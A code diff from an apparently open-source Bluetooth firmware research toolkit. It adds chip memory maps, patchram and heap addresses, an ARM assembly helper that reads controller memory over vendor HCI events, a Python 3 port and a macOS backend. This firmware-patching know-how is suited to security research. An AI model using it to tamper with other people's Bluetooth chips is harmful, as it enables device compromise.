+PATCHRAM_TARGET_TABLE_ADDRESS   = 0x310000  # needs to be aligned read
+PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
+PATCHRAM_VALUE_TABLE_ADDRESS    = 0xd0000
+PATCHRAM_NUMBER_OF_SLOTS        = 128
+PATCHRAM_ALIGNED                = True
+
+
+# Assembler snippet for the readMemAligned() function
+READ_MEM_ALIGNED_ASM_LOCATION = 0x215000  # there is nothing free until 0xdffff, but 0x215000 looks okay during runtime
+READ_MEM_ALIGNED_ASM_SNIPPET = """
+        push {r4, lr}
+
+        // malloc HCI event buffer
+        mov  r0, 0xff    // event code is 0xff (vendor specific HCI Event)
+        mov  r1, %d      // readMemAligned() injects the number of bytes it wants to read here
+        add  r1, 6       // + type and length + 'READ'
+        bl   0x15DD4      // hci_sendEvent (will automatically copy event code and length into the buffer)
+        mov  r4, r0      // save pointer to the buffer in r4
+
+        // append our custom header (the word 'READ') after the event code and event length field
+        add  r0, 2            // write after the length field
+        ldr  r1, =0x44414552  // 'READ'
+        str  r1, [r0]
+        add  r0, 4            // advance the pointer. r0 now points to the beginning of our read data
+
+        // copy data to buffer
+        ldr  r1, =0x%x  // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
+        mov  r2, %d     // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
+    loop:
+        ldr  r3, [r1]   // read 4 bytes from the read_address
+        str  r3, [r0]   // store them inside the HCI buffer
+        add  r0, 4      // advance the buffer pointer
+        add  r1, 4      // advance the read_address
+        subs r2, 1      // decrement the loop variable
+        bne  loop       // branch if r2 is not zero yet
+
+        // send HCI buffer to the host
+        mov r0, r4      // r4 still points to the beginning of the HCI buffer
+        bl  0x573B8     // send_hci_event_without_free()
+
+        // free HCI buffer
+        mov r0, r4
+        bl  0x581AE     // osapi_blockPoolFree
+
+        pop {r4, pc}    // return
+     """

internalblue/fw/fw_0x411a.py

@@ -20,7 +20,7 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from .fw import MemorySection
 
 # Firmware Infos
 # Samsung Galaxy S8
@@ -39,4 +39,9 @@ PATCHRAM_TARGET_TABLE_ADDRESS   = 0x310000
 PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
 PATCHRAM_VALUE_TABLE_ADDRESS    = 0x130000
 PATCHRAM_NUMBER_OF_SLOTS        = 256
-PATCHRAM_ALIGNED                = False
+PATCHRAM_ALIGNED                = False
+
+
+# Heap
+BLOC_HEAD = 0x20067C                    # g_dynamic_memory_GeneralUsePools
+BLOC_NG = True                          # Next Generation Bloc Buffer

internalblue/fw/fw_0x4196.py

@@ -0,0 +1,41 @@
+#!/usr/bin/env python2
+#
+# fw_0x220e.py
+#
+# Firmware file for BCM20702A1 chipsets. These chipsets are typically used for
+# Bluetooth USB dongles.
+#
+# Copyright (c) 2019 Jan Ruge and Jiska Classen. (MIT License)
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy of
+# this software and associated documentation files (the "Software"), to deal in
+# the Software without restriction, including without limitation the rights to
+# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+# the Software, and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+# - The above copyright notice and this permission notice shall be included in
+#   all copies or substantial portions of the Software.
+# - The Software is provided "as is", without warranty of any kind, express or
+#   implied, including but not limited to the warranties of merchantability,
+#   fitness for a particular purpose and noninfringement. In no event shall the
+#   authors or copyright holders be liable for any claim, damages or other
+#   liability, whether in an action of contract, tort or otherwise, arising from,
+#   out of or in connection with the Software or the use or other dealings in the
+#   Software.
+
+from .fw import MemorySection
+
+# Firmware Infos
+FW_NAME = "BCM20702A2"
+
+# Device Infos
+#DEVICE_NAME = 0x280CD0                  # rm_deviceLocalName, FIXME has no longer a length byte prepended
+#BD_ADDR = 0x280CA4                      # rm_deviceBDAddr
+
+# Memory Sections
+#                          start,    end,           is_rom? is_ram?
+SECTIONS = [   MemorySection(0x00000000, 0x5ffff,  True,  False),  # Internal ROM
+               MemorySection(0x80000, 0x9bfff,  False,  True),  # Internal RAM
+            ]
+BLOC_HEAD = 0x3166c
+

internalblue/fw/fw_0x4208.py

@@ -20,11 +20,11 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from .fw import MemorySection
 
 # Firmware Infos
-# Evaluation Kit CYW927035
-FW_NAME = "CYW27035B1"
+# Evaluation Kit CYW920735
+FW_NAME = "CYW20735B1"
 
 # Device Infos
 DEVICE_NAME = 0x280CD0                  # rm_deviceLocalName, FIXME has no longer a length byte prepended

internalblue/fw/fw_0x420e.py

@@ -20,11 +20,11 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from .fw import MemorySection
 
 # Firmware Infos
-# Evaluation Kit CYW927019
-FW_NAME = "CYW27039B1 (NOT iPhone X/XR!)"
+# Evaluation Kit CYW920719
+FW_NAME = "CYW20739B1 (NOT iPhone X/XR!)"
 # TODO this is not the iPhone firmware, we need to add a switch in fw.py
 
 # Device Infos

internalblue/fw/fw_0x420e_iphone.py

@@ -20,7 +20,7 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from .fw import MemorySection
 
 # Firmware Infos
 # iPhone 8/X/XR

internalblue/fw/fw_0x422a.py

@@ -22,7 +22,7 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from .fw import MemorySection
 
 # Firmware Infos
 FW_NAME = "BCM2070B0 (MacBook Pro 2011)"

internalblue/fw/fw_0x6103.py

@@ -20,7 +20,7 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from .fw import MemorySection
 
 # Firmware Infos
 # This runs on an iPhone 7
@@ -46,3 +46,9 @@ SECTIONS = [ MemorySection(0x0,      0x90000,  True , False),
              MemorySection(0x650000, 0x650800, False, False),
             #MemorySection(0x680000, 0x800000, False, False)
             ]
+
+PATCHRAM_TARGET_TABLE_ADDRESS   = 0x310000
+PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
+PATCHRAM_VALUE_TABLE_ADDRESS    = 0xd0000
+PATCHRAM_NUMBER_OF_SLOTS        = 192
+PATCHRAM_ALIGNED                = False

internalblue/fw/fw_0x6109.py

@@ -25,7 +25,7 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from .fw import MemorySection
 
 # Firmware Infos
 # This runs on Nexus 5, Xperia Z3, Samsung Galaxy Note 3

internalblue/fw/fw_0x6119.py

@@ -27,13 +27,14 @@
 
 # Firmware Infos
 # This runs on Rasperry Pi 3+
+from builtins import object
 FW_NAME = "BCM4345C0"
 
 # Device Infos
 DEVICE_NAME = 0x204954
 
 # Memory Sections
-class MemorySection:
+class MemorySection(object):
     def __init__(self, start_addr, end_addr, is_rom, is_ram):
         self.start_addr = start_addr
         self.end_addr = end_addr
@@ -73,6 +74,10 @@ PATCHRAM_VALUE_TABLE_ADDRESS    = 0xd0000
 PATCHRAM_NUMBER_OF_SLOTS        = 128
 PATCHRAM_ALIGNED                = False
 
+# Heap
+BLOC_HEAD = 0x200490                    # g_dynamic_memory_GeneralUsePools
+BLOC_NG = True                          # Next Generation Bloc Buffer
+
 # Snippet for sendLcpPacket()
 SENDLCP_CODE_BASE_ADDRESS = 0x21f000
 SENDLCP_ASM_CODE = """

internalblue/fw/fw_0x617e.py

@@ -0,0 +1,43 @@
+# fw_0x617e.py
+#
+# Generic firmware file in case we do not know something...
+#
+# Copyright (c) 2019 Jiska Classen. (MIT License)
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy of
+# this software and associated documentation files (the "Software"), to deal in
+# the Software without restriction, including without limitation the rights to
+# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+# the Software, and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+# - The above copyright notice and this permission notice shall be included in
+#   all copies or substantial portions of the Software.
+# - The Software is provided "as is", without warranty of any kind, express or
+#   implied, including but not limited to the warranties of merchantability,
+#   fitness for a particular purpose and noninfringement. In no event shall the
+#   authors or copyright holders be liable for any claim, damages or other
+#   liability, whether in an action of contract, tort or otherwise, arising from,
+#   out of or in connection with the Software or the use or other dealings in the
+#   Software.
+
+from .fw import MemorySection
+
+# Firmware Infos
+# iPhone 6
+FW_NAME = "BCM4345B0"
+
+
+# Memory Sections
+#                          start,    end,           is_rom? is_ram?
+SECTIONS = [ MemorySection(0x00000000, 0x000c07ff,  True,  False),  # Internal ROM
+             MemorySection(0x000d0000, 0x000dffff,  False, True),   # Internal Memory Patchram Contents
+             MemorySection(0x00200400, 0x00201cff,  False, True),   # Internal Memory Cortex M3
+             ]
+
+# Patchram
+#PATCHRAM_TARGET_TABLE_ADDRESS   = 0x310000 #TODO needs to be aligned read
+#PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
+#PATCHRAM_VALUE_TABLE_ADDRESS    = 0xd0000
+#PATCHRAM_NUMBER_OF_SLOTS        = 128
+#PATCHRAM_ALIGNED                = True
+# only seems to work 4-byte aligned here ...

internalblue/fw/fw_0x6206.py

@@ -20,7 +20,7 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from .fw import MemorySection
 
 # Firmware Infos
 # iPhone SE

internalblue/fw/fw_default.py

@@ -22,7 +22,7 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from .fw import MemorySection
 
 # Firmware Infos
 FW_NAME = "default (unknown firmware)"
@@ -31,16 +31,5 @@ FW_NAME = "default (unknown firmware)"
 #                          start,    end,      is_rom? is_ram?
 SECTIONS = [ MemorySection(0x0,      0x90000,  True , False),
              MemorySection(0xd0000,  0xd8000,  False, True ),
-            #MemorySection(0xe0000,  0x1f0000, True , False),
-             MemorySection(0x200000, 0x228000, False, True ),
-             MemorySection(0x260000, 0x268000, True , False),
-            #MemorySection(0x280000, 0x2a0000, True , False),
-             MemorySection(0x318000, 0x320000, False, False),
-             MemorySection(0x324000, 0x360000, False, False),
-             MemorySection(0x362000, 0x362100, False, False),
-             MemorySection(0x363000, 0x363100, False, False),
-             MemorySection(0x600000, 0x600800, False, False),
-             MemorySection(0x640000, 0x640800, False, False),
-             MemorySection(0x650000, 0x650800, False, False),
-            #MemorySection(0x680000, 0x800000, False, False)
+             MemorySection(0x200000, 0x228000, False, True )
             ]

internalblue/hci.py

@@ -25,6 +25,10 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
+from __future__ import absolute_import
+from builtins import hex
+from builtins import range
+from builtins import object
 from pwn import *
 
 HCI_UART_TYPE_CLASS = {}
@@ -52,10 +56,11 @@ class HCI(object):
 
     @staticmethod
     def from_data(data):
-        uart_type = ord(data[0])
+        uart_type = data[0]
         return HCI_UART_TYPE_CLASS[uart_type].from_data(data[1:])
 
     def __init__(self, uart_type):
+        self.event_code = None
         self.uart_type = uart_type
 
     def getRaw(self):
@@ -214,7 +219,7 @@ class HCI_Cmd(HCI):
         0x0c6c : "COMND Read_LE_Host_Support",
         0x0c6d : "COMND Write_LE_Host_Support",
         0x0c6e : "COMND Set_MWS_Channel_Parameters",
-        0x0c6f : "COMND Set_ External_Frame_Configuration",
+        0x0c6f : "COMND Set_External_Frame_Configuration",
         0x0c70 : "COMND Set_MWS_Signaling",
         0x0c71 : "COMND Set_MWS_Transport_Layer",
         0x0c72 : "COMND Set_MWS_Scan_Frequency_Table",
@@ -572,7 +577,7 @@ class HCI_Cmd(HCI):
         0xffed : "COMND VSC_EnterDownloadMode"
     }
 
-    HCI_CMD_STR_REVERSE = {v: k for k, v in HCI_CMD_STR.iteritems()}
+    HCI_CMD_STR_REVERSE = {v: k for k, v in HCI_CMD_STR.items()}
 
     @staticmethod
     def cmd_name(opcode):
@@ -606,7 +611,7 @@ class HCI_Cmd(HCI):
 
     @staticmethod
     def from_data(data):
-        return HCI_Cmd(u16(data[0:2]), ord(data[2]), data[3:])
+        return HCI_Cmd(u16(data[0:2]), data[2], data[3:])
 
     def __init__(self, opcode, length, data):
         HCI.__init__(self, HCI.HCI_CMD)
@@ -622,7 +627,7 @@ class HCI_Cmd(HCI):
         cmdname = "unknown"
         if self.opcode in self.HCI_CMD_STR:
             cmdname = self.HCI_CMD_STR[self.opcode]
-        return parent + "<0x%04x %s (len=%d): %s>" % (self.opcode, cmdname, self.length, self.data[0:16].encode('hex'))
+        return parent + "<0x%04x %s (len=%d): %s>" % (self.opcode, cmdname, self.length, ''.join(format(x, '02x') for x in self.data[0:16]))
 
 class HCI_Acl(HCI):
 
@@ -697,7 +702,7 @@ class HCI_Diag(HCI):
         cmdname = "unknown"
         if self.opcode in self.BCM_DIAG_STR:
             cmdname = self.BCM_DIAG_STR[self.opcode]
-        return parent + "<0x%02x %s: %s>" % (self.opcode, cmdname, self.data[0:16].encode('hex'))
+        return parent + "<0x%02x %s: %s>" % (self.opcode, cmdname, ''.join(format(x, '02x') for x in self.data[0:16]))
 
 class HCI_Event(HCI): 
 
@@ -886,7 +891,7 @@ class HCI_Event(HCI):
 
     @staticmethod
     def from_data(data):
-        return HCI_Event(ord(data[0]), ord(data[1]), data[2:])
+        return HCI_Event(data[0], data[1], data[2:])
 
     def __init__(self, event_code, length, data):
         HCI.__init__(self, HCI.HCI_EVT)
@@ -902,7 +907,7 @@ class HCI_Event(HCI):
         eventname = "unknown"
         if self.event_code in self.HCI_EVENT_STR:
             eventname = self.HCI_EVENT_STR[self.event_code]
-        return parent + "<0x%02x %s (len=%d): %s>" % (self.event_code, eventname, self.length, self.data[0:].encode('hex'))
+        return parent + "<0x%02x %s (len=%d): %s>" % (self.event_code, eventname, self.length, ''.join(format(x, '02x') for x in self.data[0:]))
 
 HCI_UART_TYPE_CLASS = {
         HCI.HCI_CMD  : HCI_Cmd,
@@ -916,7 +921,7 @@ def parse_hci_packet(data):
     return HCI.from_data(data)
 
 
-class StackDumpReceiver:
+class StackDumpReceiver(object):
     memdump_addr = None
     memdumps = {}
     stack_dump_has_happend = False
@@ -957,6 +962,7 @@ class StackDumpReceiver:
         if self.memdump_addr == None:
             self.memdump_addr = addr
         self.memdumps[addr-self.memdump_addr] = data[4:]
+        log.debug("Stack dump handling addr %08x", addr-self.memdump_addr)
 
     def finishStackDump(self):
         dump = fit(self.memdumps)
@@ -1091,6 +1097,16 @@ class StackDumpReceiver:
             self.finishStackDump()
             return True
 
+        # On a Raspberry Pi 3, the last packet of a stack dump is '1b0340df0338'.... so it's 0x40
+        elif packet_type == 0xe8:
+            # FIXME Raspi memdump is divided in two parts!
+            # address change from 0001fe38 to packet type e8 and then it's computing addr -0130000
+            # negative addr does not work with finishStackDump()
+            # so even though the last packet is 0x40, let's just finish on 0xe8
+                log.info("End of first stackdump block, writing to file and skipping second...")
+                self.finishStackDump()
+                return True
+
         return False
 
 

internalblue/hcicore.py

@@ -1,14 +1,28 @@
 #!/usr/bin/env python2
 
+from __future__ import absolute_import
+from future import standard_library
+standard_library.install_aliases()
+from builtins import str
+from builtins import zip
+from builtins import range
 import subprocess
 import datetime
 from pwn import *
 import fcntl
-from core import InternalBlue
-import hci
-import Queue
+from .core import InternalBlue
+from . import hci
+import queue as queue2k
 import threading
 
+try:
+    from typing import List
+    from internalblue import Device
+
+
+except:
+    pass
+
 # from /usr/include/bluetooth/hci.h:
 #define HCIDEVUP	_IOW('H', 201, int)
 #define HCIGETDEVLIST	_IOR('H', 210, int)
@@ -27,13 +41,14 @@ HCIGETDEVINFO = _IOR(ord('H'), 211, 4)
 
 class HCICore(InternalBlue):
 
-    def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory="."):
-        super(HCICore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory)
+    def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory=".", replay=False):
+        super(HCICore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory, replay)
         self.btsnooplog_file_lock = threading.Lock()
         self.serial = False
         self.doublecheck = False
 
     def getHciDeviceList(self):
+        # type: () -> List[Device]
         """
         Get a list of available HCI devices. The list is obtained by executing
         ioctl syscalls HCIGETDEVLIST and HCIGETDEVINFO. The returned list 
@@ -56,7 +71,7 @@ class HCICore(InternalBlue):
         # Do ioctl(s,HCIGETDEVLIST,arg) to get the number of available devices:
         # arg is struct hci_dev_list_req (/usr/include/bluetooth/hci.h)
         arg =  p32(16) # dl->dev_num = HCI_MAX_DEV which is 16 (little endian)
-        arg += "\x00"*(8*16)
+        arg += b"\x00"*(8*16)
         devices_raw = fcntl.ioctl(s.fileno(), HCIGETDEVLIST, arg)
         num_devices = u16(devices_raw[:2])
         log.debug("Found %d HCI devices via ioctl(HCIGETDEVLIST)!" % num_devices)
@@ -67,10 +82,10 @@ class HCICore(InternalBlue):
             dev_id = u16(devices_raw[dev_struct_start:dev_struct_start+2])
             # arg is struct hci_dev_info (/usr/include/bluetooth/hci.h)
             arg =  p16(dev_id) # di->dev_id = <device_id>
-            arg += "\x00"*20   # Enough space for name, bdaddr and flags
-            dev_info_raw = fcntl.ioctl(s.fileno(), HCIGETDEVINFO, arg)
-            dev_name   = dev_info_raw[2:10].replace("\x00","")
-            dev_bdaddr = ":".join(["%02X" % ord(x) for x in dev_info_raw[10:16][::-1]])
+            arg += b"\x00"*20   # Enough space for name, bdaddr and flags
+            dev_info_raw = bytearray(fcntl.ioctl(s.fileno(), HCIGETDEVINFO, arg))
+            dev_name   = dev_info_raw[2:10].replace(b"\x00",b"").decode()
+            dev_bdaddr = ":".join(["%02X" % x for x in dev_info_raw[10:16][::-1]])
             dev_flags  = u32(dev_info_raw[16:20])
             if dev_flags == 0:
                 dev_flags_str = "DOWN"
@@ -117,14 +132,15 @@ class HCICore(InternalBlue):
         """
         Return a list of connected hci devices.
         """
-
+        if self.replay:
+            return [(self, "hci_replay", 'hci: ReplaySocket')]
         device_list = []
         for dev in self.getHciDeviceList():
             log.info("HCI device: %s  [%s]  flags=%d<%s>" %
                     (dev["dev_name"], dev["dev_bdaddr"],
                      dev["dev_flags"], dev["dev_flags_str"]))
-            device_list.append([self, dev["dev_name"], 'hci: %s (%s) <%s>' %
-                    (dev["dev_bdaddr"], dev["dev_name"], dev["dev_flags_str"])])
+            device_list.append((self, dev["dev_name"], 'hci: %s (%s) <%s>' %
+                    (dev["dev_bdaddr"], dev["dev_name"], dev["dev_flags_str"])))
 
         if len(device_list) == 0:
             log.info('No connected HCI device found')
@@ -182,10 +198,11 @@ class HCICore(InternalBlue):
             # Read the record data
             try:
                 record_data = self.s_snoop.recv(1024)
+                record_data = bytearray(record_data)
             except socket.timeout:
                 continue # this is ok. just try again without error
-            except Exception:
-                log.critical("Lost device interface, terminating receive thread...")
+            except Exception as e:
+                log.critical("Lost device interface with exception {}, terminating receive thread...".format(e))
                 self.exit_requested = True
                 continue
 
@@ -217,7 +234,7 @@ class HCICore(InternalBlue):
                 if filter_function == None or filter_function(record):
                     try:
                         queue.put(record, block=False)
-                    except Queue.Full:
+                    except queue.Full:
                         log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
 
             # Call all callback functions inside registeredHciCallbacks and pass the
@@ -268,7 +285,7 @@ class HCICore(InternalBlue):
         """
         # TODO still seems to only forward incoming events?!
         self.s_snoop.setsockopt(socket.SOL_HCI, socket.HCI_FILTER,
- '\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00') #type mask, event mask, event mask, opcode
+ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00') #type mask, event mask, event mask, opcode
 
         interface_num = device["dev_id"]
         log.debug("Socket interface number: %s" % (interface_num))
@@ -282,7 +299,7 @@ class HCICore(InternalBlue):
         # Write Header to btsnoop file (if file is still empty):
         if self.write_btsnooplog and self.btsnooplog_file.tell() == 0:
             # BT Snoop Header: btsnoop\x00, version: 1, data link type: 1002
-            btsnoop_hdr = "btsnoop\x00" + p32(1,endian="big") + p32(1002,endian="big")
+            btsnoop_hdr = b"btsnoop\x00" + p32(1,endian="big") + p32(1002,endian="big")
             with self.btsnooplog_file_lock:
                 self.btsnooplog_file.write(btsnoop_hdr)
                 self.btsnooplog_file.flush()

internalblue/ioscore.py

@@ -1,12 +1,16 @@
 #!/usr/bin/env python2
 
+from __future__ import absolute_import
+from future import standard_library
+standard_library.install_aliases()
+from builtins import str
 import socket
-import Queue
-import hci
+import queue as queue2k
+from . import hci
 
 from pwn import *
 
-from core import InternalBlue
+from .core import InternalBlue
 
 class iOSCore(InternalBlue):
 
@@ -20,6 +24,7 @@ class iOSCore(InternalBlue):
         self.ios_port = parts[1]
         self.serial = False
         self.doublecheck = True
+        self.buffer = ""
 
     def device_list(self):
         """
@@ -39,7 +44,7 @@ class iOSCore(InternalBlue):
 
         return device_list
 
-    def sendH4(self, h4type, data, timeout=2):
+    def sendH4(self, h4type, data, timeout=0.5):
         """
         Send an arbitrary HCI packet by pushing a send-task into the
         sendQueue. This function blocks until the response is received
@@ -48,16 +53,16 @@ class iOSCore(InternalBlue):
         the command or None if no response was received within the timeout.
         """
 
-        queue = Queue.Queue(1)
+        queue = queue2k.Queue(1)
 
         try:
             self.sendQueue.put((h4type, data, queue, None), timeout=timeout)
             ret = queue.get(timeout=timeout)
             return ret
-        except Queue.Empty:
+        except queue2k.Empty:
             log.warn("sendH4: waiting for response timed out!")
             return None
-        except Queue.Full:
+        except queue.Full:
             log.warn("sendH4: send queue is full!")
             return None
 
@@ -87,8 +92,57 @@ class iOSCore(InternalBlue):
 
         # with ios proxy the send and receive sockets are the same
         self.s_snoop = self.s_inject
+
         return True
 
+    def _getLatestH4Blob(self, new_data=""):
+        data_out = ""
+        self.buffer += new_data
+        if len(self.buffer) > 0:
+        
+            # if the buffer is too small, wait for more data
+            if len(self.buffer) < 5:
+                return (None, False)
+            else:
+                #log.info(self.buffer[0].encode("hex"))
+                # for ACL data the length field is at offset 3
+                if self.buffer[0] == '\x02':
+                    acl_len = struct.unpack_from("h", self.buffer[3:])[0]
+                    required_len = acl_len + 5
+                # for HCI cmd data the length is at offset 3 (but just one byte)
+                elif self.buffer[0] == '\x01':
+                    hci_len = struct.unpack_from("b", self.buffer[3:])[0]
+                    required_len = hci_len + 4
+                # for HCI event data the length is at offset 2 (one byte)
+                elif self.buffer[0] == '\x04':
+                    hci_len = struct.unpack_from("b", self.buffer[2:])[0]
+                    required_len = hci_len + 3
+                # for BCM data the length should always be 64
+                elif self.buffer[0] == '\x07':
+                    required_len = 64
+
+                # if we don't have all the data we need, we just wait for more
+                if len(self.buffer) < required_len:
+                    #log.info("Not enough data, expected %d, got %d", required_len, len(self.buffer))
+                    return (None, False)
+                # might be the case that we have too much
+                elif len(self.buffer) > required_len:
+                    log.info("Got too much data, expected %d, got %d", required_len, len(self.buffer))
+                    surplus = len(self.buffer) - required_len 
+                    new_buffer = self.buffer[required_len:len(self.buffer)]
+                    data_out = self.buffer[:-surplus]
+                    #log.info("new_buffer: %s, data_out: %s", new_buffer.encode("hex"), data_out.encode("hex"))
+                    self.buffer = new_buffer
+                    return (data_out, True)
+                # sometimes we even have just the right amout of data
+                else:
+                    #log.info("Got exactly the right amount of data")
+                    data_out = self.buffer
+                    self.buffer = ""
+                    return (data_out, False)
+        else:
+            return (None, False)
+
     def _recvThreadFunc(self):
 
         log.debug("Receive Thread started.")
@@ -102,41 +156,44 @@ class iOSCore(InternalBlue):
 
             # read record data
             try:
-                record_data = self.s_snoop.recv(1024)
+                received_data = self.s_snoop.recv(1024)
             except socket.timeout:
                 continue # this is ok. just try again without error
+                
+            # because the iOS socket is rather unreliable (blame the iOS proxy developer) we
+            # need to do some length checks and get the H4/HCI data in the right format
+            #log.info("H4 Data received")
+            #log.info(received_data.encode('hex'))
+            
+            (record_data, is_more) = self._getLatestH4Blob(new_data=received_data)
+            while record_data is not None:
+                # Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
+                record = (hci.parse_hci_packet(record_data), 0, 0, 0, 0, 0) 
 
-            #log.info(record_data.encode('hex'))
-            # TODO issue here is that sometimes, one event is cut into two and then cannot be interpreted any more
-            # Bugfix: do some checks on what we got
+                log.debug("Recv: " + str(record[0]))
 
-            if len(record_data) < 8 or record_data[0] != '\x04':
-                log.warn("Invalid event returned")
-                continue
+                # Put the record into all queues of registeredHciRecvQueues if their
+                # filter function matches.
+                for queue, filter_function in self.registeredHciRecvQueues: # TODO filter_function not working with bluez modifications
+                    try:
+                        queue.put(record, block=False)
+                    except queue.Full:
+                        log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
 
-            # Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
-            record = (hci.parse_hci_packet(record_data), 0, 0, 0, 0, 0) #TODO not sure if this causes trouble?
+                # Call all callback functions inside registeredHciCallbacks and pass the
+                # record as argument.
+                for callback in self.registeredHciCallbacks:
+                    callback(record)
 
-            log.debug("Recv: " + str(record[0]))
-
-            # Put the record into all queues of registeredHciRecvQueues if their
-            # filter function matches.
-            for queue, filter_function in self.registeredHciRecvQueues: # TODO filter_function not working with bluez modifications
-                try:
-                    queue.put(record, block=False)
-                except Queue.Full:
-                    log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
-
-            # Call all callback functions inside registeredHciCallbacks and pass the
-            # record as argument.
-            for callback in self.registeredHciCallbacks:
-                callback(record)
-
-            # Check if the stackDumpReceiver has noticed that the chip crashed.
-            if self.stackDumpReceiver.stack_dump_has_happend:
-                # A stack dump has happend!
-                log.warn("recvThreadFunc: The controller send a stack dump. stopping..")
-                self.exit_requested = True
+                # Check if the stackDumpReceiver has noticed that the chip crashed.
+                if self.stackDumpReceiver.stack_dump_has_happend:
+                    # A stack dump has happend!
+                    log.warn("recvThreadFunc: The controller send a stack dump. stopping..")
+                    self.exit_requested = True
+                
+                (record_data, is_more) = self._getLatestH4Blob()
+                if not is_more:
+                    break
 
         log.debug("Receive Thread terminated.")
 

internalblue/macoscore.py

@@ -0,0 +1,192 @@
+#!/usr/bin/env python2
+
+from __future__ import absolute_import
+from future import standard_library
+standard_library.install_aliases()
+from builtins import str
+import socket
+import queue as queue2k
+from . import hci
+
+from pwn import *
+
+from .core import InternalBlue
+
+import binascii
+import os
+filepath = os.path.dirname(os.path.abspath(__file__))
+
+class macOSCore(InternalBlue):
+
+    def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory=".", replay=False):
+        super(macOSCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory=".", replay=replay)
+        self.doublecheck = False
+        self.iobe = None
+        self.serial = None
+        if not replay:
+            import objc
+            objc.initFrameworkWrapper("IOBluetoothExtended",
+                  frameworkIdentifier="de.tu-darmstadt.seemoo.IOBluetoothExtended",
+                  frameworkPath=objc.pathForFramework(
+                      filepath + "/../macos-framework/IOBluetoothExtended.framework"),
+                  globals=globals())
+        self.hciport = -1
+
+    def device_list(self):
+        """
+        Get a list of connected devices
+        """
+
+        if self.exit_requested:
+            self.shutdown()
+
+        if self.running:
+            log.warn("Already running. Call shutdown() first!")
+            return []
+
+        # assume that a explicitly specified iPhone exists
+        device_list = [(self, "mac", "mac")]
+
+        return device_list
+
+    def local_connect(self):
+        if not self._setupSockets():
+            log.critical("No connection to target device.")
+            self._teardownSockets()
+        return True
+
+    def _setupSockets(self):
+        self.hciport = random.randint(60000, 65535-1)
+        log.debug("_setupSockets: Selected random ports snoop=%d and inject=%d" % (self.hciport, self.hciport + 1))
+        log.info("Wireshark configuration (on Loopback interface): udp.port == %d || udp.port == %d" % (self.hciport, self.hciport + 1))
+
+        # Create s_snoop socket
+        self.s_snoop = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        self.s_snoop.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.s_snoop.bind(('127.0.0.1', self.hciport))
+        self.s_snoop.settimeout(0.5)
+        self.s_snoop.setblocking(True)
+
+        # Create s_inject
+        self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        self.s_inject.settimeout(0.5)
+        self.s_inject.setblocking(True)
+
+        # Create IOBluetoothExtended Object that listens for commands,
+        # sends them to the Bluetooth chip and replies via UDP socket.
+        if not self.replay:
+            self.iobe = IOBE.alloc().initWith_and_(str(self.hciport+1), str(self.hciport))
+        else:
+            self.iobe = None
+        time.sleep(0.5)
+
+        return True
+
+    def _recvThreadFunc(self):
+
+        log.debug("Receive Thread started.")
+
+        while not self.exit_requested:
+            # Little bit ugly: need to re-apply changes to the global context to the thread-copy
+            context.log_level = self.log_level
+
+            # read record data
+            try:
+                data, addr = self.s_snoop.recvfrom(1024)
+                record_data = bytearray(data)
+            except socket.timeout:
+                continue # this is ok. just try again without error
+
+            if not self.exit_requested:
+                # Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
+                record = (hci.parse_hci_packet(record_data), 0, 0, 0, 0, 0) #TODO not sure if this causes trouble?
+                log.debug("Recv: " + str(record[0]))
+
+                # Put the record into all queues of registeredHciRecvQueues if their
+                # filter function matches.
+                for queue, filter_function in self.registeredHciRecvQueues: # TODO filter_function not working with bluez modifications
+                    try:
+                        queue.put(record, block=False)
+                    except queue.Full:
+                        log.warn("recvThreadFunc: A recv queue is full. dropping packets..>" + record_data)
+
+                # Call all callback functions inside registeredHciCallbacks and pass the
+                # record as argument.
+                for callback in self.registeredHciCallbacks:
+                    callback(record)
+
+        log.debug("Receive Thread terminated.")
+
+    def _sendThreadFunc(self):
+        log.debug("Send Thread started.")
